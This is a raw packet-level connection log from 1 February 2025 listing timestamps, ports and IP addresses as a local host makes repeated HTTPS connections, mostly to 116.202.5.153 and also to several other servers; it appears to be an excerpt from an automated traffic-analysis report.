Feb 1, 2025 21:59:33.073865891 CET	50046	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:33.073877096 CET	443	50046	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:33.721965075 CET	443	50046	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:33.722047091 CET	50046	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:33.722858906 CET	50046	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:33.722870111 CET	443	50046	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:33.725212097 CET	50046	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:33.725219965 CET	443	50046	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:34.400553942 CET	443	50046	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:34.400636911 CET	443	50046	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:34.400800943 CET	50046	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:34.402251005 CET	50046	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:34.402276993 CET	443	50046	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:34.426848888 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:34.426896095 CET	443	50057	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:34.427124977 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:34.427437067 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:34.427448034 CET	443	50057	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:35.085526943 CET	443	50057	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:35.085606098 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:35.086078882 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:35.086098909 CET	443	50057	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:35.087745905 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:35.087758064 CET	443	50057	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:35.087918997 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:35.087948084 CET	443	50057	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:35.739708900 CET	443	50057	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:35.739789963 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:35.739819050 CET	443	50057	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:35.739870071 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:35.739905119 CET	443	50057	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:35.739952087 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:35.740689039 CET	50057	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:35.740704060 CET	443	50057	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:36.448204041 CET	50068	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:36.448252916 CET	443	50068	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:36.448394060 CET	50068	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:36.448548079 CET	50068	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:36.448563099 CET	443	50068	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:37.126823902 CET	443	50068	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:37.126910925 CET	50068	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:37.127454996 CET	50068	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:37.127464056 CET	443	50068	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:37.129116058 CET	50068	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:37.129122972 CET	443	50068	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:37.129154921 CET	50068	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:37.129158974 CET	443	50068	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:37.794286966 CET	443	50068	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:37.794361115 CET	443	50068	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:37.794373989 CET	50068	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:37.794435024 CET	50068	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:37.797152042 CET	50068	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:37.797178030 CET	443	50068	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:38.188272953 CET	443	50023	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:38.188393116 CET	443	50023	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:38.188455105 CET	50023	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:38.190193892 CET	50023	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:38.190213919 CET	443	50023	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:38.464134932 CET	50084	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:38.464178085 CET	443	50084	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:38.464427948 CET	50084	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:38.464658976 CET	50084	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:38.464668989 CET	443	50084	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:39.193430901 CET	443	50084	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:39.193536043 CET	50084	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:39.193917990 CET	50084	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:39.193928003 CET	443	50084	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:39.195729017 CET	50084	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:39.195734024 CET	443	50084	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:39.195791006 CET	50084	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:39.195796013 CET	443	50084	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:39.488198042 CET	50090	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:39.488240957 CET	443	50090	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:39.488353014 CET	50090	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:39.488646030 CET	50090	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:39.488660097 CET	443	50090	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:39.891434908 CET	443	50084	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:39.891510010 CET	50084	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:39.891527891 CET	443	50084	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:39.891572952 CET	50084	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:39.892626047 CET	50084	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:39.892658949 CET	443	50084	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:40.147459030 CET	443	50090	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:40.147573948 CET	50090	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:40.148093939 CET	50090	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:40.148101091 CET	443	50090	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:40.150306940 CET	50090	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:40.150315046 CET	443	50090	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:40.150371075 CET	50090	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:40.150376081 CET	443	50090	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:40.492000103 CET	50100	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:59:40.492069006 CET	443	50100	40.113.110.67	192.168.2.6
Feb 1, 2025 21:59:40.492136002 CET	50100	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:59:40.492755890 CET	50100	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:59:40.492773056 CET	443	50100	40.113.110.67	192.168.2.6
Feb 1, 2025 21:59:40.500397921 CET	50101	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:40.500477076 CET	443	50101	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:40.500559092 CET	50101	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:40.500780106 CET	50101	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:40.500816107 CET	443	50101	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:40.864274025 CET	443	50090	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:40.864351988 CET	50090	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:40.864363909 CET	443	50090	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:40.864419937 CET	50090	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:40.865226984 CET	50090	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:40.865258932 CET	443	50090	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:41.162991047 CET	443	50101	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:41.163058996 CET	50101	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:41.163501024 CET	50101	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:41.163507938 CET	443	50101	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:41.165147066 CET	50101	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:41.165153027 CET	443	50101	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:41.302890062 CET	443	50100	40.113.110.67	192.168.2.6
Feb 1, 2025 21:59:41.303268909 CET	50100	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:59:41.305828094 CET	50100	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:59:41.305843115 CET	443	50100	40.113.110.67	192.168.2.6
Feb 1, 2025 21:59:41.306087971 CET	443	50100	40.113.110.67	192.168.2.6
Feb 1, 2025 21:59:41.315957069 CET	50100	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:59:41.316087008 CET	50100	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:59:41.316096067 CET	443	50100	40.113.110.67	192.168.2.6
Feb 1, 2025 21:59:41.316204071 CET	50100	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:59:41.363334894 CET	443	50100	40.113.110.67	192.168.2.6
Feb 1, 2025 21:59:41.426246881 CET	443	49966	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:41.426316023 CET	443	49966	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:41.426368952 CET	49966	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:41.434449911 CET	443	49967	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:41.434525967 CET	443	49967	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:41.434655905 CET	49967	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:41.494625092 CET	443	50100	40.113.110.67	192.168.2.6
Feb 1, 2025 21:59:41.494718075 CET	443	50100	40.113.110.67	192.168.2.6
Feb 1, 2025 21:59:41.494775057 CET	50100	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:59:41.494915962 CET	50100	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:59:41.494936943 CET	443	50100	40.113.110.67	192.168.2.6
Feb 1, 2025 21:59:41.816879034 CET	443	50101	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:41.816960096 CET	443	50101	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:41.817024946 CET	50101	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:41.817864895 CET	50101	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:41.817877054 CET	443	50101	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:42.316663980 CET	80	49704	217.20.57.35	192.168.2.6
Feb 1, 2025 21:59:42.316798925 CET	49704	80	192.168.2.6	217.20.57.35
Feb 1, 2025 21:59:42.316853046 CET	49704	80	192.168.2.6	217.20.57.35
Feb 1, 2025 21:59:42.323723078 CET	80	49704	217.20.57.35	192.168.2.6
Feb 1, 2025 21:59:42.570765972 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:42.570800066 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:42.571032047 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:42.571265936 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:42.571280003 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.251601934 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.251677990 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.252178907 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.252197981 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.253844976 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.253866911 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.253950119 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.253962040 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.254000902 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.254007101 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.254137993 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.254146099 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.254179001 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.254204035 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.254209042 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.254234076 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.254266024 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.254275084 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.254364967 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.254417896 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.254431009 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:43.254436970 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:43.254885912 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:44.369064093 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:44.369124889 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:44.369151115 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:44.369174957 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:44.369419098 CET	50113	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:44.369432926 CET	443	50113	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:44.484550953 CET	50128	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:44.484601974 CET	443	50128	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:44.484769106 CET	50128	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:44.485059977 CET	50128	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:44.485069990 CET	443	50128	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:45.197530985 CET	443	50128	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:45.197616100 CET	50128	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:45.229792118 CET	50128	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:45.229829073 CET	443	50128	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:45.231544018 CET	50128	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:45.231553078 CET	443	50128	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:45.436218977 CET	443	49964	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:45.436323881 CET	443	49964	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:45.436417103 CET	49964	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:45.479410887 CET	443	49963	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:45.479506016 CET	443	49963	23.209.72.24	192.168.2.6
Feb 1, 2025 21:59:45.479615927 CET	49963	443	192.168.2.6	23.209.72.24
Feb 1, 2025 21:59:45.887928009 CET	443	50128	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:45.888031006 CET	443	50128	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:45.888097048 CET	50128	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:45.888169050 CET	50128	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:45.888725042 CET	50128	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:45.888741016 CET	443	50128	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:45.890068054 CET	50129	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:45.890115976 CET	443	50129	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:45.890191078 CET	50129	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:45.890393019 CET	50129	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:45.890408039 CET	443	50129	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:46.317738056 CET	443	49982	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:46.317822933 CET	443	49982	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:46.317940950 CET	49982	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:46.320152044 CET	443	49983	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:46.320235968 CET	443	49983	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:46.320287943 CET	49983	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:46.462490082 CET	443	49993	23.219.82.18	192.168.2.6
Feb 1, 2025 21:59:46.462594986 CET	443	49993	23.219.82.18	192.168.2.6
Feb 1, 2025 21:59:46.462723017 CET	49993	443	192.168.2.6	23.219.82.18
Feb 1, 2025 21:59:46.549483061 CET	443	50129	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:46.549738884 CET	50129	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:46.550228119 CET	50129	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:46.550240993 CET	443	50129	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:46.551872015 CET	50129	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:46.551877975 CET	443	50129	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:47.245033979 CET	443	50129	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:47.245117903 CET	443	50129	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:47.245131016 CET	50129	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:47.245157957 CET	50129	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:47.245496035 CET	50129	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:47.245511055 CET	443	50129	116.202.5.153	192.168.2.6
Feb 1, 2025 22:00:11.616396904 CET	50131	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:11.616415977 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:11.616478920 CET	50131	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:11.617162943 CET	50131	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:11.617177010 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:12.400382996 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:12.400477886 CET	50131	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:12.402200937 CET	50131	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:12.402205944 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:12.402507067 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:12.404314995 CET	50131	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:12.404378891 CET	50131	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:12.404382944 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:12.404514074 CET	50131	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:12.431714058 CET	49987	443	192.168.2.6	204.79.197.219
Feb 1, 2025 22:00:12.431725025 CET	443	49987	204.79.197.219	192.168.2.6
Feb 1, 2025 22:00:12.447324991 CET	49986	443	192.168.2.6	204.79.197.219
Feb 1, 2025 22:00:12.447349072 CET	443	49986	204.79.197.219	192.168.2.6
Feb 1, 2025 22:00:12.451319933 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:12.577996016 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:12.578564882 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:12.578587055 CET	50131	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:12.578607082 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:12.578633070 CET	50131	443	192.168.2.6	40.113.110.67
Feb 1, 2025 22:00:12.578639984 CET	443	50131	40.113.110.67	192.168.2.6
Feb 1, 2025 22:00:18.686249018 CET	49967	443	192.168.2.6	172.64.41.3
Feb 1, 2025 22:00:18.686285019 CET	443	49967	172.64.41.3	192.168.2.6
Feb 1, 2025 22:00:18.686316013 CET	49966	443	192.168.2.6	172.64.41.3
Feb 1, 2025 22:00:18.686356068 CET	443	49966	172.64.41.3	192.168.2.6
Feb 1, 2025 22:00:20.130007982 CET	49963	443	192.168.2.6	23.209.72.24
Feb 1, 2025 22:00:20.130042076 CET	443	49963	23.209.72.24	192.168.2.6
Feb 1, 2025 22:00:20.130079031 CET	49964	443	192.168.2.6	23.209.72.24
Feb 1, 2025 22:00:20.130115986 CET	443	49964	23.209.72.24	192.168.2.6
Feb 1, 2025 22:00:20.130413055 CET	49982	443	192.168.2.6	23.219.82.72
Feb 1, 2025 22:00:20.130429983 CET	443	49982	23.219.82.72	192.168.2.6
Feb 1, 2025 22:00:20.130448103 CET	49983	443	192.168.2.6	23.219.82.72
Feb 1, 2025 22:00:20.130487919 CET	443	49983	23.219.82.72	192.168.2.6
Feb 1, 2025 22:00:20.130530119 CET	49993	443	192.168.2.6	23.219.82.18
Feb 1, 2025 22:00:20.130537987 CET	443	49993	23.219.82.18	192.168.2.6
Feb 1, 2025 22:00:20.979931116 CET	50134	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:20.979999065 CET	443	50134	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:20.980102062 CET	50134	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:20.980294943 CET	50134	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:20.980308056 CET	443	50134	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:21.449920893 CET	443	50134	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:21.450360060 CET	50134	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:21.450396061 CET	443	50134	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:21.451483965 CET	443	50134	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:21.451553106 CET	50134	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:21.452770948 CET	50134	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:21.452836037 CET	443	50134	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:21.453039885 CET	50134	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:21.453047037 CET	443	50134	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:21.493541002 CET	50134	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:21.575345993 CET	443	50134	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:21.575428009 CET	443	50134	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:21.575500011 CET	50134	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:21.575730085 CET	50134	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:21.575748920 CET	443	50134	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:21.576474905 CET	50135	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:21.576524973 CET	443	50135	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:21.576596975 CET	50135	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:21.576797962 CET	50135	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:21.576813936 CET	443	50135	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:22.047410011 CET	443	50135	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:22.047741890 CET	50135	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:22.047760963 CET	443	50135	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:22.048125029 CET	443	50135	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:22.048422098 CET	50135	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:22.048491001 CET	443	50135	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:22.048576117 CET	50135	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:22.095333099 CET	443	50135	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:22.178540945 CET	443	50135	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:22.178628922 CET	443	50135	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:22.178690910 CET	50135	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:22.178978920 CET	50135	443	192.168.2.6	23.200.0.38
Feb 1, 2025 22:00:22.178996086 CET	443	50135	23.200.0.38	192.168.2.6
Feb 1, 2025 22:00:23.008089066 CET	50136	443	192.168.2.6	23.219.82.82
Feb 1, 2025 22:00:23.008143902 CET	443	50136	23.219.82.82	192.168.2.6
Feb 1, 2025 22:00:23.008219004 CET	50136	443	192.168.2.6	23.219.82.82
Feb 1, 2025 22:00:23.008487940 CET	50136	443	192.168.2.6	23.219.82.82
Feb 1, 2025 22:00:23.008502007 CET	443	50136	23.219.82.82	192.168.2.6
Feb 1, 2025 22:00:23.471343040 CET	443	50136	23.219.82.82	192.168.2.6
Feb 1, 2025 22:00:23.471817970 CET	50136	443	192.168.2.6	23.219.82.82
Feb 1, 2025 22:00:23.471851110 CET	443	50136	23.219.82.82	192.168.2.6
Feb 1, 2025 22:00:23.472867966 CET	443	50136	23.219.82.82	192.168.2.6
Feb 1, 2025 22:00:23.472942114 CET	50136	443	192.168.2.6	23.219.82.82
Feb 1, 2025 22:00:23.473267078 CET	50136	443	192.168.2.6	23.219.82.82
Feb 1, 2025 22:00:23.473325968 CET	443	50136	23.219.82.82	192.168.2.6
Feb 1, 2025 22:00:23.525384903 CET	50136	443	192.168.2.6	23.219.82.82
Feb 1, 2025 22:00:23.525407076 CET	443	50136	23.219.82.82	192.168.2.6
Feb 1, 2025 22:00:23.572151899 CET	50136	443	192.168.2.6	23.219.82.82
Feb 1, 2025 22:00:24.120554924 CET	50137	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.120609999 CET	443	50137	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.120682001 CET	50137	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.120847940 CET	50138	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.120887041 CET	443	50138	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.120944023 CET	50138	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.121112108 CET	50137	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.121129036 CET	443	50137	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.121253014 CET	50138	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.121263981 CET	443	50138	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.674015045 CET	443	50137	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.674407005 CET	50137	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.674436092 CET	443	50137	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.674824953 CET	443	50137	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.675128937 CET	50137	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.675206900 CET	443	50137	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.728452921 CET	50137	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.736150980 CET	443	50138	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.736485004 CET	50138	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.736500978 CET	443	50138	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.736839056 CET	443	50138	204.79.197.203	192.168.2.6
Feb 1, 2025 22:00:24.737164974 CET	50138	443	192.168.2.6	204.79.197.203
Feb 1, 2025 22:00:24.737226963 CET	443	50138	204.79.197.203	192.168.2.6
